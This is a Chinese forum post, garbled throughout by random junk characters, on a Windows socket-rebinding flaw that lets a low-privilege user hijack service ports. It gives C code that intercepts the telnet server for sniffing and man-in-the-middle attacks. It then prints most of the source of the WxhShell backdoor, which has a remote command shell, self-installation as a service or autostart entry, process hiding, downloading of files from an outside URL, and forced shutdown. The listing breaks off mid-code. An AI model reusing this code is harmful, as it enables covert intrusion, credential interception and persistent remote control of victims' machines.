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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ei-\t qY_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |OeWM  
[q|W*[B:@  
  saddr.sin_family = AF_INET; C>|.0:[%  
yksnsHs}d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D>|`+=1'0"  
)Fx]LeI;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /4T6Z[=s  
@T^FOTW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xX-r<:'tmi  
Krae^z9R  
  这意味着什么?意味着可以进行如下的攻击: Ao\P|K9MyL  
YrnC'o`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DgT]Nty@b  
'8]p]#l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a,w|r#x]  
;`oK5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;t0 q ?9  
NVRzthg%c_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^]sb=Amw  
x'g4DYl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -J3~j kf  
(RFH.iX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %*Ex2we&  
f-18nF7{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H=@KlSC ^  
j!agD_J  
  #include N>(w+h+  
  #include r#OPW7mhE  
  #include .e7tq\k  
  #include    W yM1s+@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   - VJx)g  
  int main() loIb}8  
  { vCP[7KhGj  
  WORD wVersionRequested; qb[hKp5K6  
  DWORD ret; L2>e@p\>  
  WSADATA wsaData; |Y K,&  
  BOOL val; Cn/WNCzst&  
  SOCKADDR_IN saddr; %T]$kF++&  
  SOCKADDR_IN scaddr; u"&?u+1j  
  int err; hEHd$tH06  
  SOCKET s; pl).U#7`  
  SOCKET sc; H^|TV]^;N  
  int caddsize; Ah1 9#0  
  HANDLE mt;  %W~w\mT  
  DWORD tid;   D^4nT,&8  
  wVersionRequested = MAKEWORD( 2, 2 ); Oa/zE H  
  err = WSAStartup( wVersionRequested, &wsaData ); P<IDb%W  
  if ( err != 0 ) { Bf*>q*%B{  
  printf("error!WSAStartup failed!\n"); E !ndXz 59  
  return -1; 7?yS>(VmT  
  } K T0t4XPM  
  saddr.sin_family = AF_INET; Go{,< gm  
   !~|-CF0z=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S L 5k^|  
G:1d6[Q5{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R `ViRJh  
  saddr.sin_port = htons(23); #csP.z3^y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R ABw( b  
  { Tc(=J7*r&  
  printf("error!socket failed!\n"); Wh i#Ii~  
  return -1; ]mMJ6n  
  } 42]7N3:'  
  val = TRUE; #_.J kY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l~"T>=jq3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bY#BK_8 :  
  { Dy.i^`7\  
  printf("error!setsockopt failed!\n"); N" L&Z4Z  
  return -1; ?=9'?K/~a  
  } 4`i8m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 41<~_+-@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X8ulaa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N`Q.u-'  
nsI+04[F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mw0>p5+ cy  
  { o*)Sg6Yk  
  ret=GetLastError(); 8GP17j  
  printf("error!bind failed!\n"); $~1vXe  
  return -1; @[lMh9`  
  } Bh&pZcm|  
  listen(s,2); 3aq'JVq   
  while(1) Z$/76  
  { 'TS_Am?o  
  caddsize = sizeof(scaddr); e4` L8  
  //接受连接请求 3A`Gx#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e%[*NX/  
  if(sc!=INVALID_SOCKET) At\(/Z y  
  { }T4|Kyu?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }PJsPIa3j  
  if(mt==NULL) l\W|a'i  
  { 6 ]x?2P%  
  printf("Thread Creat Failed!\n"); .yy-jf/  
  break; qA GjR!=^  
  } ]P3m=/w  
  } 74M9z  
  CloseHandle(mt); l$/pp  
  } \<pr28  
  closesocket(s); y;ElSt;S  
  WSACleanup(); :C>7HEh-2_  
  return 0; 'O(=Pz  
  }   Gt.'_hf Js  
  DWORD WINAPI ClientThread(LPVOID lpParam) wNHn.  
  { sm-[=d%@L  
  SOCKET ss = (SOCKET)lpParam; 83c2y;|8  
  SOCKET sc; tfU*U>j  
  unsigned char buf[4096]; o=YOn&@%  
  SOCKADDR_IN saddr; hiS|&5#  
  long num; E@ :9|5  
  DWORD val; ~snj92K  
  DWORD ret; L"&T3i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0<%$lr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g[G /If  
  saddr.sin_family = AF_INET; ^0.8-RT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); es*$/A  
  saddr.sin_port = htons(23); Dylm=ZZa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9;#RzelSp  
  { AI2XNSV@Yl  
  printf("error!socket failed!\n"); JjS+'A$A5  
  return -1; y`va6 %u{  
  } 6&x\!+]F8  
  val = 100; '<o3x$6 *  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w~u{"E$  
  { 8Nzn%0(Q  
  ret = GetLastError(); $Er=i }`  
  return -1; {T-\BTh&Q  
  } Qx4)'n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zz*PAYl.  
  { [8 Pt$5]^  
  ret = GetLastError(); `r}_92Tt  
  return -1; fc+-/!v  
  } itzUq,T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FC1rwXL(  
  { }i!+d,|f  
  printf("error!socket connect failed!\n"); .rK0C)  
  closesocket(sc); OV]xo8a;  
  closesocket(ss); <gwRE{6U  
  return -1; t.ulG *  
  } M>i(p%  
  while(1) NTt4sWP!I  
  { bJ_rU35s>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aLh(8;$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sYS 8]JU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .u)KP*_  
  num = recv(ss,buf,4096,0); |Ml~Pmpp  
  if(num>0) r)|~Rs!y,  
  send(sc,buf,num,0); 2uEI@B  
  else if(num==0) T!H(Y4A  
  break; .hW>#  
  num = recv(sc,buf,4096,0); jOV6 %  
  if(num>0) XKTDBaON  
  send(ss,buf,num,0); {}$rN@OM$  
  else if(num==0) 3 ZOD2: (  
  break; A1p~K*[[  
  } s^zlBvr|.  
  closesocket(ss); IMWt!#vuY  
  closesocket(sc); \>5sW8P]H`  
  return 0 ; Ixn|BCi60A  
  } ytY\&m  
ZhY{,sy?QO  
0i\>(o  
========================================================== Sl8+A+  
BHY-fb@R]H  
下边附上一个代码,,WXhSHELL 4;L|Ua  
Z+ k) N  
========================================================== 1;/SXJ s  
b;VIR,2  
#include "stdafx.h" ''9]`B,:a0  
)(]rUJ~+~A  
#include <stdio.h> <Z-Pc?F&(k  
#include <string.h> \) dp  
#include <windows.h> 4dbX!0u1l  
#include <winsock2.h> ,?yjsJd.  
#include <winsvc.h> tCrEcjT-  
#include <urlmon.h> 0Ye/  
\uTlwS  
#pragma comment (lib, "Ws2_32.lib") {LiJ=Ebt  
#pragma comment (lib, "urlmon.lib") 1vo3aF  
=u2~=t=LV  
#define MAX_USER   100 // 最大客户端连接数 |>(Vo@  
#define BUF_SOCK   200 // sock buffer Wq3PN^  
#define KEY_BUFF   255 // 输入 buffer h^(U:M=A  
G|jHic!  
#define REBOOT     0   // 重启 >l 0aME@-0  
#define SHUTDOWN   1   // 关机 (/uN+   
#+o$Tg  
#define DEF_PORT   5000 // 监听端口 zCJ"O9G<V  
&Z~_BT  
#define REG_LEN     16   // 注册表键长度 q%G[tXw  
#define SVC_LEN     80   // NT服务名长度 B5 /8LEWw  
"1gIR^S%9  
// 从dll定义API s#5#WNzP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^!B]V>L-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); diNSF-wi,,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gN}$$vS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p|gVIsg[-e  
C1{Q 4(K%  
// wxhshell配置信息 -Cvd3%Jje  
struct WSCFG { |vd|; " `  
  int ws_port;         // 监听端口 \Yj_U'2"i  
  char ws_passstr[REG_LEN]; // 口令 cy@oAoBq  
  int ws_autoins;       // 安装标记, 1=yes 0=no )$p36dWl  
  char ws_regname[REG_LEN]; // 注册表键名 ?xwi2<zz  
  char ws_svcname[REG_LEN]; // 服务名 y" H5>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .*N,x(V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N $>Ml!J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j?C[ids<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RK@K>)"f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D% *ww'mt0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gA=Pz[i)p  
s[7$%|~W  
}; h*^JFZb  
}*J04o$oI  
// default Wxhshell configuration dUB;ZB7  
struct WSCFG wscfg={DEF_PORT, =eY  
    "xuhuanlingzhe", +ase>'<N#  
    1, 8o:h/F  
    "Wxhshell", (;g/wb:  
    "Wxhshell", !QdX+y<re  
            "WxhShell Service", t~qSiHw  
    "Wrsky Windows CmdShell Service", 5 xr2  
    "Please Input Your Password: ", c@,1?q1bv  
  1, vV"YgN:  
  "http://www.wrsky.com/wxhshell.exe", yUcU-pQ  
  "Wxhshell.exe" 4%}iKoT   
    }; R}(Rv3>Xx  
u L v  
// 消息定义模块 ,r3`u2)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EQoK\.; G~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I[A<e]uK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nEUH;z  
char *msg_ws_ext="\n\rExit."; >Ch2Ep  
char *msg_ws_end="\n\rQuit."; Zah<e6L  
char *msg_ws_boot="\n\rReboot..."; lrPIXIM  
char *msg_ws_poff="\n\rShutdown..."; NfQ QJ@*  
char *msg_ws_down="\n\rSave to "; 9k93:#{WE  
M%jR`qVFg.  
char *msg_ws_err="\n\rErr!"; I5j|\ /Ht  
char *msg_ws_ok="\n\rOK!"; R{H8@JLD  
~rrl" a>  
char ExeFile[MAX_PATH]; ]hlQU%&  
int nUser = 0; xTG5VBv  
HANDLE handles[MAX_USER]; r+Sv(KS4i^  
int OsIsNt; X r o5~G  
7lYf+&JZ  
SERVICE_STATUS       serviceStatus; pbh>RS=ri  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }x6)}sz7  
"w 4^i!\  
// 函数声明 43=)akJi  
int Install(void); YpZuAJm<2_  
int Uninstall(void); a-#$T)mmfj  
int DownloadFile(char *sURL, SOCKET wsh); n2o)K;wW+  
int Boot(int flag); b$Ei>%'/";  
void HideProc(void); y:zNf?6&  
int GetOsVer(void); B!x6N"  
int Wxhshell(SOCKET wsl); ,WsG,Q(K  
void TalkWithClient(void *cs); guCCu2OTA%  
int CmdShell(SOCKET sock); ?1|\(W#  
int StartFromService(void); g9Dynm5  
int StartWxhshell(LPSTR lpCmdLine); q(EN]W],  
wg k[_i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 q8S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~mHrgxQ-  
0T@axQ[%  
// 数据结构和表定义 r0f&n;0U4  
SERVICE_TABLE_ENTRY DispatchTable[] = d8Cd4qIXX  
{ >} Mw"   
{wscfg.ws_svcname, NTServiceMain}, ME>Sh~C\  
{NULL, NULL} n[;)(  
}; V~8]ag4  
lRS'M,/  
// 自我安装 %IIFLlD  
int Install(void) iig4JP'h  
{ _`*G71PS  
  char svExeFile[MAX_PATH]; //3fgoly  
  HKEY key; `"V}Wq ?I  
  strcpy(svExeFile,ExeFile); lwG)&qyVd  
rw 2i_,.*~  
// 如果是win9x系统,修改注册表设为自启动 d=\TC'd"{  
if(!OsIsNt) { :rk6Stn$z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ii3F|Vb G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vytO8m%U  
  RegCloseKey(key); 7#&Q-3\:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y9T 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wU/fGg*M2  
  RegCloseKey(key); .2|(!a9W  
  return 0; QX a2qxTc  
    } zk@s#_3ct  
  } x!7!)]h  
} i$.!8AV6  
else { ]l=CiG4!M  
L*rCUv`  
// 如果是NT以上系统,安装为系统服务 D\-DsT.H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nXuy&;5TL,  
if (schSCManager!=0) @d8Nr:  
{ 6h) &h1Yd  
  SC_HANDLE schService = CreateService RP 6<#tq,  
  ( klc$n07  
  schSCManager, XE0b9q954  
  wscfg.ws_svcname, re4z>O*  
  wscfg.ws_svcdisp, U.Z5;E0:  
  SERVICE_ALL_ACCESS, 0Bkc93  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5)rN#_BKj  
  SERVICE_AUTO_START, :Ez*<;pF'  
  SERVICE_ERROR_NORMAL, }0/l48G  
  svExeFile, cl{mRt0  
  NULL, I !lR 7%  
  NULL, M`9|8f,!a  
  NULL, iTT7<x  
  NULL, ym` 4v5w  
  NULL M4 }))  
  ); 5+b73R3r  
  if (schService!=0) 1<Uv4S  
  { z X+i2,  
  CloseServiceHandle(schService); <jaQ 0S{|  
  CloseServiceHandle(schSCManager); T`u ,!S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6Xn9$C)  
  strcat(svExeFile,wscfg.ws_svcname); k5}Qx'/l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pFBK'NE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UsCaO<A  
  RegCloseKey(key); 150x$~{/  
  return 0; 8wkt9:  
    } yr.sfPnJK  
  } y34<B)Wy  
  CloseServiceHandle(schSCManager); 5]kv1nQ  
} XQOM6$~,  
} SY}"4=M?l  
$ \!OO)  
return 1; $&jVEMia  
} <|E*aR|M  
VTX6_&Hc1g  
// 自我卸载 bq8h?Q  
int Uninstall(void) m3(p7Z^Bq  
{ NE &{_i!  
  HKEY key; #7YJ87<E  
gTLBR  
if(!OsIsNt) { o>]z~^c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G~ 4G$YL*  
  RegDeleteValue(key,wscfg.ws_regname); M D& 7k,!  
  RegCloseKey(key); pUu<0a^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B <G,{k  
  RegDeleteValue(key,wscfg.ws_regname); Zx: h)I  
  RegCloseKey(key); j(>xP*il  
  return 0; xbCQ^W2YU|  
  } ^8dCFw.rU  
} Bq-}BN?pz  
} V8pZr+AJ  
else { /z}b1m+  
@ W,<8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Hu2a]e9  
if (schSCManager!=0) :/"5x  
{ d+ [2Sm(7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZC^NhgX  
  if (schService!=0) PH^Gjm  
  { _ib @<%  
  if(DeleteService(schService)!=0) { AW!A +?F6  
  CloseServiceHandle(schService); iG=Di)O  
  CloseServiceHandle(schSCManager); #D ]CuSi  
  return 0; ,.|/B^jV  
  } Q/h-Kh mz  
  CloseServiceHandle(schService); +A$>F@u  
  } m !i`|]m  
  CloseServiceHandle(schSCManager); 6 =G=4{q  
} j0{Qy;wP )  
} 5x,/p  
hL}ZPHA  
return 1; cT;Zz5  
} *|@386\  
$e  uI  
// 从指定url下载文件 T_9o0Qk  
int DownloadFile(char *sURL, SOCKET wsh) m GJRCK_  
{ "];@N!dA  
  HRESULT hr; l<7SB5  
char seps[]= "/"; 1FT3d  
char *token; Pl2eDv-y  
char *file; bg)}-]u]  
char myURL[MAX_PATH]; g^\!> i  
char myFILE[MAX_PATH]; h7o.RRhK  
Tv 5J  
strcpy(myURL,sURL); $ 1m}lXk  
  token=strtok(myURL,seps); Z B!~@Vf  
  while(token!=NULL) 8 tIy"5  
  { m4'jTC$  
    file=token; Y; to9Kv$  
  token=strtok(NULL,seps); h b8L[ 4  
  } uW!saT5o  
#nAq~@X  
GetCurrentDirectory(MAX_PATH,myFILE); k;qWiYMV  
strcat(myFILE, "\\"); 3 4&xh1=3  
strcat(myFILE, file); ~sq@^<M)s  
  send(wsh,myFILE,strlen(myFILE),0); ?a1pO#{Dg  
send(wsh,"...",3,0); 6)20%*[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +m/n~-6q  
  if(hr==S_OK) #~.RJ%  
return 0; >6)|># Wi  
else lJT"aXt'M  
return 1; 7;&,L H  
Sn' +~6i  
} IcGX~zWr  
E\p"%  
// 系统电源模块 .;l`VWP  
int Boot(int flag) o)R<sT  
{ Y4_xV&   
  HANDLE hToken; /?Mr2!3N  
  TOKEN_PRIVILEGES tkp; Y hC|hDC  
l@-h.tS  
  if(OsIsNt) { (=EDqAZg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >vO+k^'Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JZ&_1~Z=  
    tkp.PrivilegeCount = 1; aeAx0yE[p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cL~YQJYp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^6LnB#C&  
if(flag==REBOOT) { .*.eY?,V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sH > zsc  
  return 0; rUAt`ykTmN  
}  _-9cGm v  
else { DQaE9gmC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qV/>d' ,  
  return 0; ?ks.M'@  
} }6=)w@v  
  } #VVfHCy  
  else { \<G"9w  
if(flag==REBOOT) { |{_>H '  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $J&c1  
  return 0; hhFO,  
} NSH4 @x  
else { ~-B+7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )?c,&  
  return 0;  X>P|-n#  
} ^5( d^N  
} 5O Y5b8  
 ts=:r  
return 1; _mwt{D2r}  
} Vo6g /h?`  
y\Utm$)j  
// win9x进程隐藏模块 XD't)B(q  
void HideProc(void) r9L--#=z  
{ "Wr[DqFd  
vUOl@UQ5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *c&|2EsZ  
  if ( hKernel != NULL ) x}V&v?1{5  
  { ^H{YLO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {8`$~c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aql8Or1[  
    FreeLibrary(hKernel); #.$y   
  } R^ P>yk8  
"Aw)0a[j1  
return; H\\FAOj  
} 5Z5x\CcC3  
<V Rb   
// 获取操作系统版本 .>P:{''  
int GetOsVer(void) QG2 Zh9R  
{ ^NRf  
  OSVERSIONINFO winfo; I0z7bx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F *r)  
  GetVersionEx(&winfo); <c:H u{D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0\X<vrW  
  return 1; i1-%#YYF(  
  else /]MelW  
  return 0; %Ta"H3ZW  
} x\f~Gtt7Y  
Gn_DIFa  
// 客户端句柄模块 (V]3w  
int Wxhshell(SOCKET wsl) P)J-'2{  
{ 't0M+_J  
  SOCKET wsh; fwV2b<[  
  struct sockaddr_in client; 79exZ7|  
  DWORD myID; ahy6a,)K~  
8T6NG!/  
  while(nUser<MAX_USER) hh&$xlO)(v  
{ o ]z#~^w  
  int nSize=sizeof(client); &} `a"tYr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =!xX{o?64  
  if(wsh==INVALID_SOCKET) return 1; q CYu@Ho  
$Th)z}A}EA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ck5cO-1>6  
if(handles[nUser]==0) c@3 5\!9  
  closesocket(wsh); [|=M<>?[  
else =DD KGy.g  
  nUser++; vc&+qI+I3  
  } ?_Z -} f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RLB"}&SF]  
dIlpo0; F  
  return 0; | |awNSt  
} /#H P;>!n  
=\5WYC  
// 关闭 socket G[yzi  
void CloseIt(SOCKET wsh) z+{qQ!  
{ , f$P[c  
closesocket(wsh); k:R\;l5  
nUser--; ]\ _tO  
ExitThread(0); 3Z=yCec]  
} ;p`to"6IFD  
~uty<fP  
// 客户端请求句柄 QOSMV#Nw%  
void TalkWithClient(void *cs) P=jsOuW  
{ 4Z~ nWs  
)&d=2M;3  
  SOCKET wsh=(SOCKET)cs; H>%AK''  
  char pwd[SVC_LEN]; $["HC-n?.k  
  char cmd[KEY_BUFF]; j2UQQFh  
char chr[1]; =2Yt[8';  
int i,j; $DIy?kZ  
C9sU^ ]#F  
  while (nUser < MAX_USER) { dB0#EJaE  
3WGET[3  
if(wscfg.ws_passstr) { $S|+U}]C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :VZS7$5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~io.TS|r  
  //ZeroMemory(pwd,KEY_BUFF); [Tp?u8$p`  
      i=0; Zja3HGL  
  while(i<SVC_LEN) { AG=PbY9  
0P9\;!Y  
  // 设置超时 dR1IndZl  
  fd_set FdRead; Cd 2<r6i  
  struct timeval TimeOut; ;Jg$C~3tf  
  FD_ZERO(&FdRead); \2 N;V E  
  FD_SET(wsh,&FdRead); %bN{FKNN  
  TimeOut.tv_sec=8; LkS tU)  
  TimeOut.tv_usec=0; eTvjo(Lvx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vu\W5M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'kt6%d2  
@Xl(A]w%!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s.i9&1Y-!  
  pwd=chr[0]; WF~BCP$OR  
  if(chr[0]==0xd || chr[0]==0xa) { z}u`45W+  
  pwd=0; w a(Y[]V  
  break; 8^y=YUT  
  } s_IFl5D]  
  i++; Y^!qeY  
    } D5P-$1KPt  
jc9C|r  
  // 如果是非法用户,关闭 socket *pa hZiO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :p/=KI_  
} -EP1Rl`\  
lt6wmCe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "gM!/<~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); scH61Y8`  
|nx3x  
while(1) { xz!0BG  
5.{=Op!  
  ZeroMemory(cmd,KEY_BUFF); AYfOETz  
Cy$~H  
      // 自动支持客户端 telnet标准   [#uhMn^  
  j=0; )H W   
  while(j<KEY_BUFF) { }={@_g#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 _E8 RAG  
  cmd[j]=chr[0]; yC\UT ~j/  
  if(chr[0]==0xa || chr[0]==0xd) { z.-yL,Rc`-  
  cmd[j]=0; Eb4NPWo  
  break; ";rXCH.  
  } |> STb\  
  j++; 94#,dA,M  
    } ~F'6k&A^q  
m_/U  t  
  // 下载文件 ,FzkGB#  
  if(strstr(cmd,"http://")) { r4SwvxhG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N)g_LL>^  
  if(DownloadFile(cmd,wsh)) $J4\jIipL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ O\A 0e  
  else z Fm`e:td  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uE')<fVX(  
  } k37?NoT  
  else { p]RQ-0  
&SbdX   
    switch(cmd[0]) { ';FJs&=I  
  wz`% ( \  
  // 帮助 piM4grg \  
  case '?': { V*\hGNV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S}JOS}\^j  
    break; l}L81t7f  
  } aH1CX<3)~  
  // 安装 z)C/U  
  case 'i': { i6_}  
    if(Install()) Ct)58f2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "D.<~!  
    else Sz Mh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZMgsuzg  
    break; 5`p9Xo>)yW  
    } yR>P  
  // 卸载 j_so s%-  
  case 'r': { g]vB\5uA:  
    if(Uninstall()) K{DC{yLu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=1ue`i  
    else ZEI)U, I.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C5dM`_3L  
    break; {FvFah  
    } '/8/M{`s  
  // 显示 wxhshell 所在路径 rk1,LsZVS  
  case 'p': { %oa@2qJ^  
    char svExeFile[MAX_PATH]; GO"|^W  
    strcpy(svExeFile,"\n\r"); bfz7t!A)A  
      strcat(svExeFile,ExeFile); ,1mL=|na  
        send(wsh,svExeFile,strlen(svExeFile),0); -z`%x@F<&L  
    break; qF~9:`  
    } Mn ,hmIz  
  // 重启 >1!u]R<3  
  case 'b': { ?3BcjD0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o @L0ET  
    if(Boot(REBOOT)) ?P0b/g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #b;?:.m\=  
    else { zz U,0 L  
    closesocket(wsh); gP QOv  
    ExitThread(0); Mrrpm% Y  
    } sr;&/l#7h  
    break; >ZOlSLu  
    } BQ Pmo1B  
  // 关机 gaz7u8$A=  
  case 'd': { }2;P`s  
